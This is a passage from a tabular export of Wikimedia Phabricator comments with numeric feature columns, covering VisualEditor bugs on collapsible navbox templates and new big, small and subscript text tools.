ONLY navboxes, so at least other parts of the pages will not have this problem. But i'm not sure how to get social buy-in for completely removing autocollapse behaviour of navboxes."
1066540,VisualEditor: Surface should respect the default state of collapseable templates,"Navboxes and probably almost everything else still use `class=""collapsible""`…",,,1525985062,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,True,,,253,,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,40.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,Navboxes and probably almost everything else still use CODE…
1066512,VisualEditor: Surface should respect the default state of collapseable templates,">>! In T53664#4198427, @matmarex wrote:
> This should now magically work for elements made collapsible using `class=""mw-collapsible""`, as a result of 8cdfcc5fd4b, which refactored that code to hide them using only CSS. 

Does that make this fixed, or are there elements we'd want to support which use a different class/mechanism?",,,1525983346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,True,,,253,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8518518518518516,0.9629629629629629,"QUOTE
QUOTE

Does that make this fixed, or are there elements we'd want to support which use a different class/mechanism?"
1066498,VisualEditor: Surface should respect the default state of collapseable templates,"This should now magically work for elements made collapsible using `class=""mw-collapsible""`, as a result of 8cdfcc5fd4b, which refactored that code to hide them using only CSS. ",,,1525981957,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,True,,,253,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,17.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,17.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,7.0,0.0,0.0,0.0,4.517241379310345,0.9310344827586207,"This should now magically work for elements made collapsible using CODE, as a result of 8cdfcc5fd4b, which refactored that code to hide them using only CSS. "
236650,VisualEditor: Surface should respect the default state of collapseable templates,"Created attachment 13417
Related render problems

This is a related problem, which would not be noticable if it was not for this bug.

https://en.wikipedia.org/w/index.php?title=Anarchism&veaction=edit

When in normal view mode (not VE), expand all of those sidebars
A large area of whitespace opens up above ""Internal issues and debates"", and the images appear there.

In the VE, that whitespace is filled with text, which causes the images to be pushed further down in the content, eventually slipping into the References section, and on Firefox the images even overlaps the References section.

I haven't investigated what is causing the VE vs non-VE rendering differences, but collapse is clearly the reason this rendering difference is a significant problem that all VE users face, rather than a minor glitch that only appears when the user is silly enough to alter all sidebars to be expanded.

**Attached**: {F11253}",,,1380600089,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,False,,,13,,1.5,0.0,0.0,1.5,2.0,6.0,3.0,0.0,0.0,0.5,2.0,0.5,0.0,0.5,0.0,0.5,0.0,8.0,9.5,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,7.0,0.5,0.5,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.5,0.5,0.0,16.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,7.5,5.5,10.0,2.0,2.0,12.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.0,9.5,3.5,0.0,1.0,0.0,1.0,0.0,3.0,2.0,0.0,1.0,0.0,0.0,0.0,4.078651685393258,0.7247191011235955,"Created attachment 13417
Related render problems

This is a related problem, which would not be noticable if it was not for this bug.

URL

When in normal view mode (not VE), expand all of those sidebars
A large area of whitespace opens up above ""Internal issues and debates"", and the images appear there.

In the VE, that whitespace is filled with text, which causes the images to be pushed further down in the content, eventually slipping into the References section, and on Firefox the images even overlaps the References section.

I haven't investigated what is causing the VE vs non-VE rendering differences, but collapse is clearly the reason this rendering difference is a significant problem that all VE users face, rather than a minor glitch that only appears when the user is silly enough to alter all sidebars to be expanded.

**Attached**: {F11253}"
236645,VisualEditor: Surface should respect the default state of collapseable templates,"(In reply to comment #1)
> First of all, this requires fixes for bug 51565 to be deployed, and then we
> need to fix the NavFrame and CollapsibleTable scripts in
> en:wp:MediaWiki:Common.js to use the same hooks.

That change has been made on enwp by TheDJ/hartman (cc'd)

https://en.wikipedia.org/w/index.php?title=MediaWiki:Common.js&diff=570114240&oldid=569893356

The templates are yet not collapsing; is there more development needed in VE product or in Common.js ?

I think 'collapse' need more special handling in VE (possibly even in parsoid); in order to be WYSIWYG.
1. The user can change the collapse state of templates in the VE dialog editor, and that change should be reflected in the VE after the changes are applied.
2. The user should be able to collapse and uncollapse a collapse-able template in order 
2.1 to visualise how the page will look in each mode
2.2 hide/unhide collapse-able templates that are consuming precious screen real estate (this should be a separate enhancement)

Perhaps this feature should be dependent on bug 30352.",,,1380598815,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,False,,,13,,0.5,0.0,0.0,1.5,0.5,6.5,1.5,0.0,0.0,0.0,5.5,1.0,0.0,0.0,0.5,0.5,0.5,3.0,10.0,0.0,2.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,3.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,0.5,0.0,18.5,0.5,1.5,0.0,1.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.5,5.5,9.5,0.5,1.5,8.5,0.0,0.0,0.0,0.5,6.0,0.0,2.0,0.0,0.5,10.0,4.5,0.5,1.0,0.0,0.5,0.0,1.0,1.0,0.0,1.0,1.0,0.0,1.0,3.8473092998955067,0.6856713688610241,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

That change has been made on enwp by TheDJ/hartman (cc'd)

URL

The templates are yet not collapsing; is there more development needed in VE product or in Common.js ?

I think 'collapse' need more special handling in VE (possibly even in parsoid); in order to be WYSIWYG.
1. The user can change the collapse state of templates in the VE dialog editor, and that change should be reflected in the VE after the changes are applied.
2. The user should be able to collapse and uncollapse a collapse-able template in order 
2.1 to visualise how the page will look in each mode
2.2 hide/unhide collapse-able templates that are consuming precious screen real estate (this should be a separate enhancement)

Perhaps this feature should be dependent on bug 30352."
236639,VisualEditor: Surface should respect the default state of collapseable templates,"First of all, this requires fixes for bug 51565 to be deployed, and then we need to fix the NavFrame and CollapsibleTable scripts in en:wp:MediaWiki:Common.js to use the same hooks.",,,1374261760,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,True,,,2,,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,15.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8974358974358974,0.8205128205128205,"First of all, this requires fixes for bug 51565 to be deployed, and then we need to fix the NavFrame and CollapsibleTable scripts in en:wp:MediaWiki:Common.js to use the same hooks."
53613,VisualEditor: Tool to set/unset text as big/small,,Low,25.0,1374158760,1470421262.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-tv63msunrr34jh3gj3an,task_description,resolved,True,c1,3,True,True,False,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
707145,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2529488, @Danny_B wrote:
>>>! In T53613#2529467, @Jdforrester-WMF wrote:
>> Actually, VE will have one until it's banned in wikitext, not just ""not easily accessible"".
> 
> So ban it then. The request for it has been around for ages.

At the bare minimum you'll need to run a three-month-long community RfC on meta with convincing arguments that explain as to why they all need to replace `<big>` with `<span style=""font-size: bigger;"">` and so on. There are, from a quick search, over 70k pages with at least one of these on the English Wikipedia alone; the transition will be quite a lot of work.

It's not remotely worth it to spend that much in terms of WMF resources. If you want to try, you're welcome, but I seriously doubt you'll get sufficient consensus (and even then it'd probably need to be a configuration option so that third party wikis can address the breaking change in slower time).

Not of this is germane to this ticket, however.",,,1470435796,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,1.0,0.0,0.0,0.0,1.5,7.0,0.5,0.0,0.0,0.5,2.5,2.5,0.0,0.0,0.5,0.5,0.0,7.5,15.0,0.0,3.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,2.5,0.0,4.5,0.5,2.0,0.5,2.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.5,0.0,9.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,4.5,2.5,9.0,2.5,2.0,7.5,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,5.5,15.0,5.5,0.0,0.0,0.0,5.5,0.0,1.0,2.0,0.0,0.5,0.5,0.5,0.0,3.7341772151898738,0.759493670886076,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

At the bare minimum you'll need to run a three-month-long community RfC on meta with convincing arguments that explain as to why they all need to replace CODE with CODE and so on. There are, from a quick search, over 70k pages with at least one of these on the English Wikipedia alone; the transition will be quite a lot of work.

It's not remotely worth it to spend that much in terms of WMF resources. If you want to try, you're welcome, but I seriously doubt you'll get sufficient consensus (and even then it'd probably need to be a configuration option so that third party wikis can address the breaking change in slower time).

Not of this is germane to this ticket, however."
707142,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2529467, @Jdforrester-WMF wrote:
> Actually, VE will have one until it's banned in wikitext, not just ""not easily accessible"".

So ban it then. The request for it has been around for ages. Not even speaking that it has been deprecated ages ago even in XHTML we used before, and it is obsolete in HTML5.",,,1470435420,,PHID-USER-xqqqgn2dels45flxw5kb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0.0,0.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,16.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,12.0,5.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.558139534883721,0.7209302325581395,"QUOTE
QUOTE

So ban it then. The request for it has been around for ages. Not even speaking that it has been deprecated ages ago even in XHTML we used before, and it is obsolete in HTML5."
707139,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2529467, @Jdforrester-WMF wrote:
> Actually, VE will have one until it's banned in wikitext, not just ""not easily accessible"".

So ban it then. The request for it has been around for ages.",,,1470435319,,PHID-USER-xqqqgn2dels45flxw5kb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.210526315789474,0.7894736842105263,"QUOTE
QUOTE

So ban it then. The request for it has been around for ages."
707138,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2529443, @matmarex wrote:
> ""WT"" is VisualEditor team's jargon for ""wikitext"". Wikitext editor's toolbar has buttons for this: {F4339790}
> 
> I'll note that there's a task to remove them: T40487. You could probably file a similar one for VisualEditor. But as long as one has them, the other should too.

Thanks for explanation.

So why instead of adding it to Visual Editor not removing it from WikiEditor then (which should be obviously easier)?",,,1470435100,,PHID-USER-xqqqgn2dels45flxw5kb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,25.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,11.0,17.0,3.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,3.0,0.0,0.0,4.055555555555555,0.8055555555555556,"QUOTE
QUOTE
QUOTE
QUOTE

Thanks for explanation.

So why instead of adding it to Visual Editor not removing it from WikiEditor then (which should be obviously easier)?"
707133,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2529443, @matmarex wrote:
> ""WT"" is VisualEditor team's jargon for ""wikitext"".

Correct (though we didn't invent it).

> Wikitext editor's toolbar has buttons for this: {F4339790}
> 
> I'll note that there's a task to remove them: T40487. You could probably file a similar one for VisualEditor. But as long as one has them, the other should too.

Actually, VE will have one until it's banned in wikitext, not just ""not easily accessible"".",,,1470434945,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,7.0,7.0,7.0,0.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4047619047619047,0.6904761904761905,"QUOTE
QUOTE

Correct (though we didn't invent it).

QUOTE
QUOTE
QUOTE

Actually, VE will have one until it's banned in wikitext, not just ""not easily accessible""."
707128,VisualEditor: Tool to set/unset text as big/small,"""WT"" is VisualEditor team's jargon for ""wikitext"". Wikitext editor's toolbar has buttons for this: {F4339790}

I'll note that there's a task to remove them: T40487. You could probably file a similar one for VisualEditor. But as long as one has them, the other should too.",,,1470434546,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,2.0,0.0,6.0,10.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,6.0,10.0,10.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.619047619047619,0.7301587301587301,"""WT"" is VisualEditor team's jargon for ""wikitext"". Wikitext editor's toolbar has buttons for this: {F4339790}

I'll note that there's a task to remove them: T40487. You could probably file a similar one for VisualEditor. But as long as one has them, the other should too."
707104,VisualEditor: Tool to set/unset text as big/small,"What does WT stand for?

What do you call feature-parity in this case?",,,1470432701,,PHID-USER-xqqqgn2dels45flxw5kb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,11.0,6.0,11.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2777777777777777,0.8888888888888888,"What does WT stand for?

What do you call feature-parity in this case?"
707093,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2528664, @Danny_B wrote:
> We have headers and table captions providing semantically correct way how to emphasize headlining text. What is the use case of using big text elsewhere?

Off-topic. VE and WT are designed to have feature-parity. If you think we should ban users from using these, file a task.",,,1470432011,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,18.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.323529411764706,0.8823529411764706,"QUOTE
QUOTE

Off-topic. VE and WT are designed to have feature-parity. If you think we should ban users from using these, file a task."
707011,VisualEditor: Tool to set/unset text as big/small,We have headers and table captions providing semantically correct way how to emphasize headlining text. What is the use case of using big text elsewhere?,,,1470426148,,PHID-USER-xqqqgn2dels45flxw5kb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,4.777777777777778,0.9629629629629629,We have headers and table captions providing semantically correct way how to emphasize headlining text. What is the use case of using big text elsewhere?
706945,VisualEditor: Tool to set/unset text as big/small,"Change 141617 merged by jenkins-bot:
Provide tools to make text bigger or smaller

[[https://gerrit.wikimedia.org/r/141617]]",,,1470421624,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,False,,,161,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,3.739130434782609,0.9130434782608695,"Change 141617 merged by jenkins-bot:
Provide tools to make text bigger or smaller

[[GERRIT_URL]]"
699417,VisualEditor: Tool to set/unset text as big/small,"Change 141617 had a related patch set uploaded (by Jforrester):
Provide tools to make text bigger or smaller

[[https://gerrit.wikimedia.org/r/141617]]
",,,1469233591,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,False,,,159,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,11.0,3.892857142857143,0.8928571428571429,"Change 141617 had a related patch set uploaded (by Jforrester):
Provide tools to make text bigger or smaller

[[GERRIT_URL]]
"
233894,VisualEditor: Tool to set/unset text as big/small,"Change 141617 had a related patch set uploaded by Jforrester:
Provide tools to make text bigger or smaller

https://gerrit.wikimedia.org/r/141617",,,1403574866,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,4.636363636363637,1.0,"Change 141617 had a related patch set uploaded by Jforrester:
Provide tools to make text bigger or smaller

GERRIT_URL"
53612,VisualEditor: Tool to set/unset text as subscript,"

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374158700,1376619792.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-f6ao6kmtchv7v27bft42,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233847,VisualEditor: Tool to set/unset text as subscript,Now merged into master; will be deployed (as experimental) in the next push (so will be available on MediaWiki.org) - we will make this available to production wikis next week when we re-work the toolbar.,,,1376619792,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-f6ao6kmtchv7v27bft42,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,2.0,0.0,14.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,5.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.953488372093023,0.7674418604651163,Now merged into master; will be deployed (as experimental) in the next push (so will be available on MediaWiki.org) - we will make this available to production wikis next week when we re-work the toolbar.
233840,VisualEditor: Tool to set/unset text as subscript,"Change 78495 merged by jenkins-bot:
Create a subscript tool

